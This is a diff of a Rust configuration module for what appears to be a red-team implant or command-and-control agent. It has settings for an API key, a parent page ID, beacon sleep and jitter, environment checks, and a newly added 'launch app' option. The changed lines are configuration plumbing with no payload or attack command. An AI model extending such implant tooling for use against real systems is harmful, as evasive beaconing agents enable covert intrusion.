@@ -14,8 +14,9 @@ pub const DEFAULT_API_KEY: &str = "<<API_KEY>>";
1414pub const DEFAULT_PARENT_PAGE_ID : & str = "<<PARENT_PAGE_ID>>" ;
1515pub const DEFAULT_SLEEP_INTERVAL : & str = "<<SLEEP>>" ;
1616pub const DEFAULT_JITTER_TIME : & str = "<<JITTER>>" ;
17+ pub const DEFAULT_LAUNCH_APP : & str = "<<LAUNCH_APP>>" ;
1718pub const DEFAULT_LOG_LEVEL : & str = "<<LOG_LEVEL>>" ;
18- pub const CONFIG_FILE_PATH : & str = "./cfg.json" ;
19+ pub const DEFAULT_CONFIG_FILE_PATH : & str = "./cfg.json" ;
1920pub const DEFAULT_ENV_CHECKS : & str = "<<ENV_CHECKS>>" ;
2021
2122/// Enum for ConfigOptions, useful for parsing configs from
@@ -115,10 +116,10 @@ pub fn get_config_options_debug() -> Result<ConfigOptions, Box<dyn Error + Send
115116 io:: stdout ( ) . flush ( ) ?;
116117 stdin. read_line ( & mut log_level) ?;
117118
118- let mut key_username = String :: new ( ) ;
119- println ! ( "[*] Enter username to key off > " ) ;
119+ let mut launch_app = String :: new ( ) ;
120+ println ! ( "[*] Launch App (Windows/Linux only) (y/n)? > " ) ;
120121 io:: stdout ( ) . flush ( ) ?;
121- stdin. read_line ( & mut key_username ) ?;
122+ stdin. read_line ( & mut launch_app ) ?;
122123
123124 Ok (
124125 ConfigOptions {
@@ -127,7 +128,10 @@ pub fn get_config_options_debug() -> Result<ConfigOptions, Box<dyn Error + Send
127128 parent_page_id : parent_page_id. trim ( ) . to_string ( ) ,
128129 api_key : api_key. trim ( ) . to_string ( ) ,
129130 config_file_path : config_file_path. trim ( ) . to_string ( ) ,
130- launch_app : false ,
131+ launch_app : match launch_app. to_lowercase ( ) . as_str ( ) {
132+ "y" => true ,
133+ _ => false
134+ } ,
131135 log_level : log_level. trim ( ) . parse ( ) . unwrap ( ) ,
132136 env_checks : Vec :: new ( )
133137 }
@@ -141,8 +145,8 @@ pub async fn get_config_options() -> Result<ConfigOptions, ConfigError> {
141145 jitter_time : DEFAULT_JITTER_TIME . parse ( ) . unwrap_or_else ( |_| 0 ) ,
142146 parent_page_id : DEFAULT_PARENT_PAGE_ID . to_string ( ) ,
143147 api_key : DEFAULT_API_KEY . to_string ( ) ,
144- config_file_path : CONFIG_FILE_PATH . to_string ( ) ,
145- launch_app : true ,
148+ config_file_path : DEFAULT_CONFIG_FILE_PATH . to_string ( ) ,
149+ launch_app : DEFAULT_LAUNCH_APP . parse ( ) . unwrap_or_default ( ) ,
146150 log_level : DEFAULT_LOG_LEVEL . parse ( ) . unwrap_or_else ( |_| 2 ) ,
147151 env_checks : from_str ( DEFAULT_ENV_CHECKS ) . unwrap_or_else ( |_| Vec :: new ( ) )
148152 } ;
@@ -152,14 +156,14 @@ pub async fn get_config_options() -> Result<ConfigOptions, ConfigError> {
152156
153157/// Ingests config from a saved JSON file—or tries to.
154158///
155- /// If `None` is passed as the path, the `CONFIG_FILE_PATH ` is attempted.
159+ /// If `None` is passed as the path, the `DEFAULT_CONFIG_FILE_PATH ` is attempted.
156160///
157161/// If no config file can be parsed, defaults are used.
158162pub async fn load_config_options ( c : Option < & str > ) -> Result < ConfigOptions , ConfigError > {
159163
160164 let config_file_path = match c {
161165 Some ( p) => p,
162- None => CONFIG_FILE_PATH
166+ None => DEFAULT_CONFIG_FILE_PATH
163167 } ;
164168
165169 if let Ok ( c) = fs:: read_to_string ( config_file_path) {
0 commit comments